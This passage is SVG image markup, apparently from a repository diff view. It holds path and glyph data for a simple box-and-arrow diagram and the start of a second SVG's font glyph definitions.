</pattern>
</defs>
<path fill-rule="nonzero" fill="rgb(100%, 100%, 100%)" fill-opacity="1" d="M 0 0 L 685 0 L 685 136.34375 L 0 136.34375 Z M 0 0 "/>
<path fill-rule="evenodd" fill="url(#pattern-0)" d="M 20 80 L 162.5 80 L 162.5 115.84375 L 20 115.84375 Z M 20 80 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 78.431373%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 80.5 L 162.5 80.5 L 162.5 115.5 L 20.5 115.5 Z M 20.5 80.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="30" y="102.828125"/>
<use xlink:href="#glyph-0-2" x="37" y="102.828125"/>
<use xlink:href="#glyph-0-3" x="46" y="102.828125"/>
<use xlink:href="#glyph-0-4" x="54" y="102.828125"/>
<use xlink:href="#glyph-0-5" x="58" y="102.828125"/>
<use xlink:href="#glyph-0-6" x="65" y="102.828125"/>
<use xlink:href="#glyph-0-7" x="68" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="74" y="102.828125"/>
<use xlink:href="#glyph-0-9" x="78" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="85" y="102.828125"/>
<use xlink:href="#glyph-0-10" x="89" y="102.828125"/>
<use xlink:href="#glyph-0-6" x="96" y="102.828125"/>
<use xlink:href="#glyph-0-11" x="99" y="102.828125"/>
<use xlink:href="#glyph-0-12" x="105" y="102.828125"/>
<use xlink:href="#glyph-0-13" x="112" y="102.828125"/>
<use xlink:href="#glyph-0-7" x="119" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="125" y="102.828125"/>
<use xlink:href="#glyph-0-9" x="129" y="102.828125"/>
<use xlink:href="#glyph-0-13" x="136" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="143" y="102.828125"/>
<use xlink:href="#glyph-0-7" x="147" y="102.828125"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-1)" d="M 263 80 L 320.5 80 L 320.5 115.84375 L 263 115.84375 Z M 263 80 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 263.5 80.5 L 320.5 80.5 L 320.5 115.5 L 263.5 115.5 Z M 263.5 80.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-7" x="273" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="279" y="102.828125"/>
<use xlink:href="#glyph-0-9" x="283" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="290" y="102.828125"/>
<use xlink:href="#glyph-0-10" x="294" y="102.828125"/>
<use xlink:href="#glyph-0-6" x="301" y="102.828125"/>
<use xlink:href="#glyph-0-14" x="304" y="102.828125"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-2)" d="M 421 80 L 478.5 80 L 478.5 115.84375 L 421 115.84375 Z M 421 80 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 421.5 80.5 L 478.5 80.5 L 478.5 115.5 L 421.5 115.5 Z M 421.5 80.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-7" x="431" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="437" y="102.828125"/>
<use xlink:href="#glyph-0-9" x="441" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="448" y="102.828125"/>
<use xlink:href="#glyph-0-10" x="452" y="102.828125"/>
<use xlink:href="#glyph-0-6" x="459" y="102.828125"/>
<use xlink:href="#glyph-0-5" x="462" y="102.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(11.764706%, 78.431373%, 11.764706%)" stroke-opacity="1" stroke-miterlimit="10" d="M 579.5 80.5 L 664.5 80.5 L 664.5 115.5 L 579.5 115.5 Z M 579.5 80.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-12" x="589" y="102.828125"/>
<use xlink:href="#glyph-0-15" x="596" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="603" y="102.828125"/>
<use xlink:href="#glyph-0-16" x="607" y="102.828125"/>
<use xlink:href="#glyph-0-15" x="614" y="102.828125"/>
<use xlink:href="#glyph-0-8" x="621" y="102.828125"/>
<use xlink:href="#glyph-0-6" x="625" y="102.828125"/>
<use xlink:href="#glyph-0-17" x="628" y="102.828125"/>
<use xlink:href="#glyph-0-9" x="635" y="102.828125"/>
<use xlink:href="#glyph-0-7" x="642" y="102.828125"/>
<use xlink:href="#glyph-0-17" x="648" y="102.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 479.5 98.5 L 574.5 98.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 579.5 98.5 L 569.5 103.5 L 571.5 98.5 L 569.5 93.5 Z M 579.5 98.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 489.5 15.5 L 568.5 15.5 L 568.5 51.5 L 489.5 51.5 Z M 489.5 15.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-18" x="499" y="38.3125"/>
<use xlink:href="#glyph-0-13" x="502" y="38.3125"/>
<use xlink:href="#glyph-0-16" x="509" y="38.3125"/>
<use xlink:href="#glyph-0-15" x="516" y="38.3125"/>
<use xlink:href="#glyph-0-8" x="523" y="38.3125"/>
<use xlink:href="#glyph-0-6" x="527" y="38.3125"/>
<use xlink:href="#glyph-0-19" x="530" y="38.3125"/>
<use xlink:href="#glyph-0-20" x="537" y="38.3125"/>
<use xlink:href="#glyph-0-12" x="540" y="38.3125"/>
<use xlink:href="#glyph-0-11" x="547" y="38.3125"/>
<use xlink:href="#glyph-0-21" x="553" y="38.3125"/>
</g>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="493.5" y="94.65625"/>
<use xlink:href="#glyph-0-2" x="500.5" y="94.65625"/>
<use xlink:href="#glyph-0-3" x="509.5" y="94.65625"/>
<use xlink:href="#glyph-0-4" x="517.5" y="94.65625"/>
<use xlink:href="#glyph-0-5" x="521.5" y="94.65625"/>
<use xlink:href="#glyph-0-6" x="528.5" y="94.65625"/>
<use xlink:href="#glyph-0-22" x="531.5" y="94.65625"/>
<use xlink:href="#glyph-0-12" x="536.5" y="94.65625"/>
<use xlink:href="#glyph-0-15" x="543.5" y="94.65625"/>
<use xlink:href="#glyph-0-13" x="550.5" y="94.65625"/>
<use xlink:href="#glyph-0-23" x="557.5" y="94.65625"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 529.5 51.5 L 529.5 79.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 529.5 81.5 L 526.5 76.5 L 529.5 78.5 L 531.5 76.5 Z M 529.5 81.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 321.5 98.5 L 416.5 98.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 421.5 98.5 L 411.5 103.5 L 413.5 98.5 L 411.5 93.5 Z M 421.5 98.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 331.5 15.5 L 410.5 15.5 L 410.5 51.5 L 331.5 51.5 Z M 331.5 15.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-18" x="341" y="38.3125"/>
<use xlink:href="#glyph-0-13" x="344" y="38.3125"/>
<use xlink:href="#glyph-0-16" x="351" y="38.3125"/>
<use xlink:href="#glyph-0-15" x="358" y="38.3125"/>
<use xlink:href="#glyph-0-8" x="365" y="38.3125"/>
<use xlink:href="#glyph-0-6" x="369" y="38.3125"/>
<use xlink:href="#glyph-0-19" x="372" y="38.3125"/>
<use xlink:href="#glyph-0-20" x="379" y="38.3125"/>
<use xlink:href="#glyph-0-12" x="382" y="38.3125"/>
<use xlink:href="#glyph-0-11" x="389" y="38.3125"/>
<use xlink:href="#glyph-0-21" x="395" y="38.3125"/>
</g>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="335.5" y="94.65625"/>
<use xlink:href="#glyph-0-2" x="342.5" y="94.65625"/>
<use xlink:href="#glyph-0-3" x="351.5" y="94.65625"/>
<use xlink:href="#glyph-0-4" x="359.5" y="94.65625"/>
<use xlink:href="#glyph-0-5" x="363.5" y="94.65625"/>
<use xlink:href="#glyph-0-6" x="370.5" y="94.65625"/>
<use xlink:href="#glyph-0-22" x="373.5" y="94.65625"/>
<use xlink:href="#glyph-0-12" x="378.5" y="94.65625"/>
<use xlink:href="#glyph-0-15" x="385.5" y="94.65625"/>
<use xlink:href="#glyph-0-13" x="392.5" y="94.65625"/>
<use xlink:href="#glyph-0-23" x="399.5" y="94.65625"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 371.5 51.5 L 371.5 79.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 371.5 81.5 L 368.5 76.5 L 371.5 78.5 L 373.5 76.5 Z M 371.5 81.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 163.5 98.5 L 258.5 98.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 263.5 98.5 L 253.5 103.5 L 255.5 98.5 L 253.5 93.5 Z M 263.5 98.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 173.5 15.5 L 252.5 15.5 L 252.5 51.5 L 173.5 51.5 Z M 173.5 15.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-18" x="183" y="38.3125"/>
<use xlink:href="#glyph-0-13" x="186" y="38.3125"/>
<use xlink:href="#glyph-0-16" x="193" y="38.3125"/>
<use xlink:href="#glyph-0-15" x="200" y="38.3125"/>
<use xlink:href="#glyph-0-8" x="207" y="38.3125"/>
<use xlink:href="#glyph-0-6" x="211" y="38.3125"/>
<use xlink:href="#glyph-0-19" x="214" y="38.3125"/>
<use xlink:href="#glyph-0-20" x="221" y="38.3125"/>
<use xlink:href="#glyph-0-12" x="224" y="38.3125"/>
<use xlink:href="#glyph-0-11" x="231" y="38.3125"/>
<use xlink:href="#glyph-0-21" x="237" y="38.3125"/>
</g>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="177.5" y="94.65625"/>
<use xlink:href="#glyph-0-2" x="184.5" y="94.65625"/>
<use xlink:href="#glyph-0-3" x="193.5" y="94.65625"/>
<use xlink:href="#glyph-0-4" x="201.5" y="94.65625"/>
<use xlink:href="#glyph-0-5" x="205.5" y="94.65625"/>
<use xlink:href="#glyph-0-6" x="212.5" y="94.65625"/>
<use xlink:href="#glyph-0-22" x="215.5" y="94.65625"/>
<use xlink:href="#glyph-0-12" x="220.5" y="94.65625"/>
<use xlink:href="#glyph-0-15" x="227.5" y="94.65625"/>
<use xlink:href="#glyph-0-13" x="234.5" y="94.65625"/>
<use xlink:href="#glyph-0-23" x="241.5" y="94.65625"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 213.5 51.5 L 213.5 79.5 "/>
<path fill-rule="evenodd" fill="rgb(0%, 0%, 0%)" fill-opacity="1" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 213.5 81.5 L 210.5 76.5 L 213.5 78.5 L 215.5 76.5 Z M 213.5 81.5 "/>
</svg>

After

Width:  |  Height:  |  Size: 32 KiB

View File

@ -0,0 +1,213 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="459" height="170.375" viewBox="0 0 459 170.375">
<defs>
<g>
<g id="glyph-0-0">
<path d="M 1.125 0 L 1.125 -8.5625 L 6.0625 -8.5625 L 6.0625 0 Z M 1.734375 -0.609375 L 5.453125 -0.609375 L 5.453125 -7.953125 L 1.734375 -7.953125 Z M 1.734375 -0.609375 "/>
</g>
<g id="glyph-0-1">
<path d="M 3.296875 0.125 C 2.492188 0.125 1.851562 -0.148438 1.375 -0.703125 C 0.894531 -1.265625 0.65625 -2.097656 0.65625 -3.203125 C 0.65625 -4.304688 0.894531 -5.140625 1.375 -5.703125 C 1.863281 -6.265625 2.507812 -6.546875 3.3125 -6.546875 C 3.8125 -6.546875 4.21875 -6.453125 4.53125 -6.265625 C 4.84375 -6.085938 5.097656 -5.867188 5.296875 -5.609375 L 5.375 -5.609375 C 5.363281 -5.710938 5.347656 -5.863281 5.328125 -6.0625 C 5.304688 -6.269531 5.296875 -6.429688 5.296875 -6.546875 L 5.296875 -9.125 L 6.359375 -9.125 L 6.359375 0 L 5.515625 0 L 5.359375 -0.859375 L 5.296875 -0.859375 C 5.109375 -0.585938 4.851562 -0.351562 4.53125 -0.15625 C 4.21875 0.03125 3.804688 0.125 3.296875 0.125 Z M 3.46875 -0.75 C 4.144531 -0.75 4.617188 -0.9375 4.890625 -1.3125 C 5.171875 -1.6875 5.3125 -2.25 5.3125 -3 L 5.3125 -3.1875 C 5.3125 -3.988281 5.179688 -4.601562 4.921875 -5.03125 C 4.660156 -5.457031 4.171875 -5.671875 3.453125 -5.671875 C 2.890625 -5.671875 2.460938 -5.441406 2.171875 -4.984375 C 1.890625 -4.535156 1.75 -3.9375 1.75 -3.1875 C 1.75 -2.414062 1.890625 -1.816406 2.171875 -1.390625 C 2.460938 -0.960938 2.894531 -0.75 3.46875 -0.75 Z M 3.46875 -0.75 "/>
</g>
<g id="glyph-0-2">
<path d="M 3.453125 -6.546875 C 4.234375 -6.546875 4.8125 -6.375 5.1875 -6.03125 C 5.570312 -5.6875 5.765625 -5.132812 5.765625 -4.375 L 5.765625 0 L 4.984375 0 L 4.78125 -0.90625 L 4.734375 -0.90625 C 4.453125 -0.5625 4.15625 -0.300781 3.84375 -0.125 C 3.539062 0.0390625 3.117188 0.125 2.578125 0.125 C 1.992188 0.125 1.507812 -0.0234375 1.125 -0.328125 C 0.738281 -0.640625 0.546875 -1.125 0.546875 -1.78125 C 0.546875 -2.425781 0.796875 -2.921875 1.296875 -3.265625 C 1.804688 -3.617188 2.585938 -3.8125 3.640625 -3.84375 L 4.734375 -3.875 L 4.734375 -4.265625 C 4.734375 -4.796875 4.613281 -5.164062 4.375 -5.375 C 4.144531 -5.582031 3.816406 -5.6875 3.390625 -5.6875 C 3.054688 -5.6875 2.738281 -5.632812 2.4375 -5.53125 C 2.132812 -5.4375 1.847656 -5.328125 1.578125 -5.203125 L 1.265625 -5.984375 C 1.546875 -6.140625 1.875 -6.269531 2.25 -6.375 C 2.632812 -6.488281 3.035156 -6.546875 3.453125 -6.546875 Z M 3.765625 -3.109375 C 2.960938 -3.078125 2.40625 -2.945312 2.09375 -2.71875 C 1.789062 -2.5 1.640625 -2.1875 1.640625 -1.78125 C 1.640625 -1.414062 1.75 -1.148438 1.96875 -0.984375 C 2.1875 -0.816406 2.46875 -0.734375 2.8125 -0.734375 C 3.363281 -0.734375 3.816406 -0.878906 4.171875 -1.171875 C 4.535156 -1.472656 4.71875 -1.9375 4.71875 -2.5625 L 4.71875 -3.140625 Z M 3.765625 -3.109375 "/>
</g>
<g id="glyph-0-3">
<path d="M 3.171875 -0.75 C 3.328125 -0.75 3.488281 -0.757812 3.65625 -0.78125 C 3.820312 -0.8125 3.957031 -0.84375 4.0625 -0.875 L 4.0625 -0.078125 C 3.957031 -0.015625 3.800781 0.03125 3.59375 0.0625 C 3.382812 0.101562 3.179688 0.125 2.984375 0.125 C 2.648438 0.125 2.335938 0.0664062 2.046875 -0.046875 C 1.765625 -0.171875 1.535156 -0.375 1.359375 -0.65625 C 1.191406 -0.945312 1.109375 -1.351562 1.109375 -1.875 L 1.109375 -5.609375 L 0.1875 -5.609375 L 0.1875 -6.125 L 1.109375 -6.546875 L 1.53125 -7.90625 L 2.15625 -7.90625 L 2.15625 -6.4375 L 4.015625 -6.4375 L 4.015625 -5.609375 L 2.15625 -5.609375 L 2.15625 -1.890625 C 2.15625 -1.503906 2.25 -1.21875 2.4375 -1.03125 C 2.625 -0.84375 2.867188 -0.75 3.171875 -0.75 Z M 3.171875 -0.75 "/>
</g>
<g id="glyph-0-4">
<path d="M 4.078125 -6.546875 C 4.867188 -6.546875 5.503906 -6.269531 5.984375 -5.71875 C 6.472656 -5.164062 6.71875 -4.335938 6.71875 -3.234375 C 6.71875 -2.128906 6.472656 -1.289062 5.984375 -0.71875 C 5.503906 -0.15625 4.863281 0.125 4.0625 0.125 C 3.570312 0.125 3.164062 0.03125 2.84375 -0.15625 C 2.519531 -0.34375 2.265625 -0.5625 2.078125 -0.8125 L 2 -0.8125 C 2.019531 -0.675781 2.035156 -0.503906 2.046875 -0.296875 C 2.066406 -0.0859375 2.078125 0.0859375 2.078125 0.234375 L 2.078125 2.875 L 1.015625 2.875 L 1.015625 -6.4375 L 1.890625 -6.4375 L 2.03125 -5.5625 L 2.078125 -5.5625 C 2.265625 -5.832031 2.515625 -6.0625 2.828125 -6.25 C 3.140625 -6.445312 3.554688 -6.546875 4.078125 -6.546875 Z M 3.890625 -5.65625 C 3.234375 -5.65625 2.769531 -5.472656 2.5 -5.109375 C 2.226562 -4.742188 2.085938 -4.1875 2.078125 -3.4375 L 2.078125 -3.234375 C 2.078125 -2.441406 2.207031 -1.828125 2.46875 -1.390625 C 2.726562 -0.960938 3.207031 -0.75 3.90625 -0.75 C 4.300781 -0.75 4.625 -0.859375 4.875 -1.078125 C 5.125 -1.296875 5.3125 -1.585938 5.4375 -1.953125 C 5.5625 -2.328125 5.625 -2.753906 5.625 -3.234375 C 5.625 -3.972656 5.484375 -4.5625 5.203125 -5 C 4.921875 -5.4375 4.484375 -5.65625 3.890625 -5.65625 Z M 3.890625 -5.65625 "/>
</g>
<g id="glyph-0-5">
<path d="M 1.5625 -8.84375 C 1.71875 -8.84375 1.859375 -8.785156 1.984375 -8.671875 C 2.109375 -8.566406 2.171875 -8.398438 2.171875 -8.171875 C 2.171875 -7.953125 2.109375 -7.785156 1.984375 -7.671875 C 1.859375 -7.554688 1.71875 -7.5 1.5625 -7.5 C 1.382812 -7.5 1.234375 -7.554688 1.109375 -7.671875 C 0.992188 -7.785156 0.9375 -7.953125 0.9375 -8.171875 C 0.9375 -8.398438 0.992188 -8.566406 1.109375 -8.671875 C 1.234375 -8.785156 1.382812 -8.84375 1.5625 -8.84375 Z M 2.078125 -6.4375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-6">
<path d="M 4.109375 -6.546875 C 4.878906 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.617188 6.4375 -5.019531 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.242188 -5.65625 2.753906 -5.457031 2.484375 -5.0625 C 2.210938 -4.664062 2.078125 -4.09375 2.078125 -3.34375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 L 1.875 -6.4375 L 2.03125 -5.5625 L 2.09375 -5.5625 C 2.300781 -5.894531 2.585938 -6.140625 2.953125 -6.296875 C 3.316406 -6.460938 3.703125 -6.546875 4.109375 -6.546875 Z M 4.109375 -6.546875 "/>
</g>
<g id="glyph-0-7">
<path d="M 3.296875 -6.546875 C 3.722656 -6.546875 4.101562 -6.46875 4.4375 -6.3125 C 4.78125 -6.15625 5.070312 -5.910156 5.3125 -5.578125 L 5.375 -5.578125 L 5.515625 -6.4375 L 6.359375 -6.4375 L 6.359375 0.109375 C 6.359375 1.023438 6.125 1.710938 5.65625 2.171875 C 5.1875 2.640625 4.460938 2.875 3.484375 2.875 C 2.535156 2.875 1.757812 2.738281 1.15625 2.46875 L 1.15625 1.5 C 1.789062 1.832031 2.585938 2 3.546875 2 C 4.097656 2 4.53125 1.835938 4.84375 1.515625 C 5.15625 1.191406 5.3125 0.75 5.3125 0.1875 L 5.3125 -0.0625 C 5.3125 -0.15625 5.316406 -0.289062 5.328125 -0.46875 C 5.335938 -0.65625 5.347656 -0.785156 5.359375 -0.859375 L 5.296875 -0.859375 C 4.867188 -0.203125 4.207031 0.125 3.3125 0.125 C 2.476562 0.125 1.828125 -0.164062 1.359375 -0.75 C 0.890625 -1.332031 0.65625 -2.148438 0.65625 -3.203125 C 0.65625 -4.222656 0.890625 -5.035156 1.359375 -5.640625 C 1.828125 -6.242188 2.472656 -6.546875 3.296875 -6.546875 Z M 3.4375 -5.65625 C 2.90625 -5.65625 2.488281 -5.441406 2.1875 -5.015625 C 1.894531 -4.585938 1.75 -3.976562 1.75 -3.1875 C 1.75 -2.394531 1.894531 -1.789062 2.1875 -1.375 C 2.476562 -0.957031 2.90625 -0.75 3.46875 -0.75 C 4.113281 -0.75 4.582031 -0.921875 4.875 -1.265625 C 5.175781 -1.609375 5.328125 -2.171875 5.328125 -2.953125 L 5.328125 -3.203125 C 5.328125 -4.085938 5.175781 -4.71875 4.875 -5.09375 C 4.570312 -5.46875 4.09375 -5.65625 3.4375 -5.65625 Z M 3.4375 -5.65625 "/>
</g>
<g id="glyph-0-8">
</g>
<g id="glyph-0-9">
<path d="M 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 0 "/>
</g>
<g id="glyph-0-10">
<path d="M 3.5 -6.546875 C 4.050781 -6.546875 4.523438 -6.425781 4.921875 -6.1875 C 5.316406 -5.945312 5.617188 -5.609375 5.828125 -5.171875 C 6.046875 -4.742188 6.15625 -4.234375 6.15625 -3.640625 L 6.15625 -3.015625 L 1.75 -3.015625 C 1.769531 -2.285156 1.957031 -1.726562 2.3125 -1.34375 C 2.664062 -0.96875 3.160156 -0.78125 3.796875 -0.78125 C 4.210938 -0.78125 4.578125 -0.816406 4.890625 -0.890625 C 5.203125 -0.972656 5.53125 -1.082031 5.875 -1.21875 L 5.875 -0.296875 C 5.539062 -0.148438 5.210938 -0.046875 4.890625 0.015625 C 4.578125 0.0859375 4.195312 0.125 3.75 0.125 C 3.144531 0.125 2.609375 0 2.140625 -0.25 C 1.671875 -0.5 1.304688 -0.867188 1.046875 -1.359375 C 0.785156 -1.847656 0.65625 -2.453125 0.65625 -3.171875 C 0.65625 -3.867188 0.773438 -4.46875 1.015625 -4.96875 C 1.253906 -5.476562 1.585938 -5.867188 2.015625 -6.140625 C 2.441406 -6.410156 2.9375 -6.546875 3.5 -6.546875 Z M 3.484375 -5.6875 C 2.984375 -5.6875 2.585938 -5.523438 2.296875 -5.203125 C 2.003906 -4.878906 1.832031 -4.429688 1.78125 -3.859375 L 5.046875 -3.859375 C 5.046875 -4.398438 4.921875 -4.835938 4.671875 -5.171875 C 4.421875 -5.515625 4.023438 -5.6875 3.484375 -5.6875 Z M 3.484375 -5.6875 "/>
</g>
<g id="glyph-0-11">
<path d="M 6.609375 -3.234375 C 6.609375 -2.160156 6.335938 -1.332031 5.796875 -0.75 C 5.253906 -0.164062 4.523438 0.125 3.609375 0.125 C 3.046875 0.125 2.539062 -0.00390625 2.09375 -0.265625 C 1.644531 -0.523438 1.289062 -0.90625 1.03125 -1.40625 C 0.78125 -1.90625 0.65625 -2.515625 0.65625 -3.234375 C 0.65625 -4.296875 0.921875 -5.113281 1.453125 -5.6875 C 1.992188 -6.257812 2.722656 -6.546875 3.640625 -6.546875 C 4.234375 -6.546875 4.75 -6.414062 5.1875 -6.15625 C 5.632812 -5.894531 5.984375 -5.519531 6.234375 -5.03125 C 6.484375 -4.539062 6.609375 -3.941406 6.609375 -3.234375 Z M 1.75 -3.234375 C 1.75 -2.472656 1.898438 -1.867188 2.203125 -1.421875 C 2.503906 -0.972656 2.984375 -0.75 3.640625 -0.75 C 4.285156 -0.75 4.757812 -0.972656 5.0625 -1.421875 C 5.363281 -1.867188 5.515625 -2.472656 5.515625 -3.234375 C 5.515625 -3.992188 5.363281 -4.585938 5.0625 -5.015625 C 4.757812 -5.441406 4.28125 -5.65625 3.625 -5.65625 C 2.96875 -5.65625 2.488281 -5.441406 2.1875 -5.015625 C 1.894531 -4.585938 1.75 -3.992188 1.75 -3.234375 Z M 1.75 -3.234375 "/>
</g>
<g id="glyph-0-12">
<path d="M 4.015625 -6.546875 C 4.140625 -6.546875 4.269531 -6.539062 4.40625 -6.53125 C 4.550781 -6.519531 4.675781 -6.503906 4.78125 -6.484375 L 4.640625 -5.515625 C 4.535156 -5.535156 4.421875 -5.550781 4.296875 -5.5625 C 4.171875 -5.582031 4.054688 -5.59375 3.953125 -5.59375 C 3.617188 -5.59375 3.304688 -5.5 3.015625 -5.3125 C 2.734375 -5.132812 2.503906 -4.882812 2.328125 -4.5625 C 2.160156 -4.238281 2.078125 -3.863281 2.078125 -3.4375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 L 1.890625 -6.4375 L 2 -5.25 L 2.046875 -5.25 C 2.253906 -5.601562 2.519531 -5.90625 2.84375 -6.15625 C 3.175781 -6.414062 3.566406 -6.546875 4.015625 -6.546875 Z M 4.015625 -6.546875 "/>
</g>
<g id="glyph-0-13">
<path d="M 0.015625 -6.4375 L 1.140625 -6.4375 L 2.53125 -2.765625 C 2.65625 -2.453125 2.765625 -2.148438 2.859375 -1.859375 C 2.953125 -1.566406 3.023438 -1.285156 3.078125 -1.015625 L 3.125 -1.015625 C 3.164062 -1.210938 3.238281 -1.472656 3.34375 -1.796875 C 3.445312 -2.128906 3.554688 -2.457031 3.671875 -2.78125 L 4.984375 -6.4375 L 6.125 -6.4375 L 3.34375 0.890625 C 3.125 1.492188 2.832031 1.972656 2.46875 2.328125 C 2.113281 2.691406 1.628906 2.875 1.015625 2.875 C 0.816406 2.875 0.644531 2.863281 0.5 2.84375 C 0.351562 2.820312 0.226562 2.800781 0.125 2.78125 L 0.125 1.9375 C 0.21875 1.957031 0.328125 1.972656 0.453125 1.984375 C 0.578125 2.003906 0.707031 2.015625 0.84375 2.015625 C 1.207031 2.015625 1.503906 1.910156 1.734375 1.703125 C 1.960938 1.492188 2.140625 1.21875 2.265625 0.875 L 2.609375 0.03125 Z M 0.015625 -6.4375 "/>
</g>
<g id="glyph-0-14">
<path d="M 2.078125 -6.4375 C 2.078125 -6.125 2.054688 -5.828125 2.015625 -5.546875 L 2.09375 -5.546875 C 2.300781 -5.867188 2.582031 -6.113281 2.9375 -6.28125 C 3.289062 -6.457031 3.675781 -6.546875 4.09375 -6.546875 C 4.875 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.609375 6.4375 -5.007812 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.234375 -5.65625 2.738281 -5.453125 2.46875 -5.046875 C 2.207031 -4.648438 2.078125 -4.078125 2.078125 -3.328125 L 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-15">
